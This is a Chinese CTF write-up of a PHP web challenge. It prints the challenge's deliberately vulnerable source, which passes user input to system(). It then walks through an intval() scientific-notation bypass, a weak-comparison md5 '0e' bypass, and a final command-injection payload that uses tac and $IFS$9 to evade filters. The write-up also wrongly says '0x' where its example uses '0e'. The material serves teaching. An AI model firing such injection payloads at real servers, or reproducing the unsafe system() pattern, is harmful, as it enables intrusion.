感觉这个题目是几个知识点的总和,根据知识点来出的题目。
考察点:三重绕过,intval()函数进行科学计数法的绕过,md5碰撞,命令执行,php绕过过滤空格
目录
1. 源码泄露
查看robots.txt,
User-agent: *
Disallow: /fAke_f1agggg.php
继续查看/fAke_f1agggg.php,
这个是个虚假的flag,但是我们可以根据响应头,看到有个提示:fl4g.php,跳转,得到源码
但是,我的编码有点问题,不是很友好,中文乱码,
2. 浏览器调整编码
我用的是firefox浏览器,点击三个杠的图标,然后继续点击更多,
然后,点击文字编码
选择unicode编码方式即可。得到源码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
2. 代码审计
大致分析一下:分为三个部分:level1,level2,get flag。三个部分。
(1)level1
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){//需要$num小于2020但是+1之后大于2021
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
我们GET方式传入$num参数,然后实现intval($num) < 2020 && intval($num + 1) > 2021
intval() 函数用于获取变量的整数值。
查阅资料,发现intval有个神奇的地方,直接看测试吧
<?php
$a = '2e4';
var_dump($a);
var_dump(intval($a));
$b = $a + 1;
echo $b."\n";
var_dump($b);
var_dump(intval($b));
结果:
string(3) "2e4"
int(2)
20001
float(20001)
int(20001)
所以对字符串2e4,intval()函数只会讲其中的2给提取出来,也就是2。
我们知道php还有个强制转换的机制,如果我们将一个字符串和一个数字相加,首先php会将字符串转换成数字,然后将两个数字相加。
而2e4字符串转换成数字是浮点数20000,然后再加0就是浮点数20001,再intval将整数部分提取出来,就是(int)20001。所以可以进行绕过。
(2) level2
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5)) //需要找到一个字符串满足它本身和它的md5编码值弱比较相同
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
看到==,就想到了php弱比较,php会将以0x开头的字符串,当进行==弱比较时,会认为是相同的。
所以就变成了找到一个以0x开头的字符串s,并且md5(s)也是以0x开头的字符串。
0e215962017
//第二个md5绕过
$c = "0e215962017";
echo "$c"."\n";
$d = md5($c);
echo "$d"."\n";
if ($c==$d)
echo "成功绕过"."\n";
结果:
0e215962017
0e291242476940776845150308577824
成功绕过
(3) get flag
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){ //就是说当$get_flag中没有空格( )的时候,执行下面的语句
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
strstr() 函数搜索字符串在另一字符串中的第一次出现,并且返回字符串的剩余部分。如果找不到要找的字符串,则返回false.
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
我们需要传入的$get_flag,不存在空格,并且cat也会被替代为wctf2020,然后才会执行$get_flag。
先试试传入ls,查看目录文件
接下来就是查看文件fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
关于tac
cat 和 tac 都是Linux打印文件的命令,但是cat是从第一行至最后一行顺序打印,而tac是最后一行至第一行反向打印。
本地测试
首先再一个文件夹中创建两个文件,flag和a.php
<?php
//a.php
system("ls");
echo "<br>";
system("cat flag");
echo "<br>";
system("tac flag");
?>
flag文件
//flag文件
这是flag
1
2
3
执行之后,得到
关于php中替代空格
可以用$IFS$9
代替空格
最终的payload:
fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
相关资料:
1. 关于md5绕过的一些东西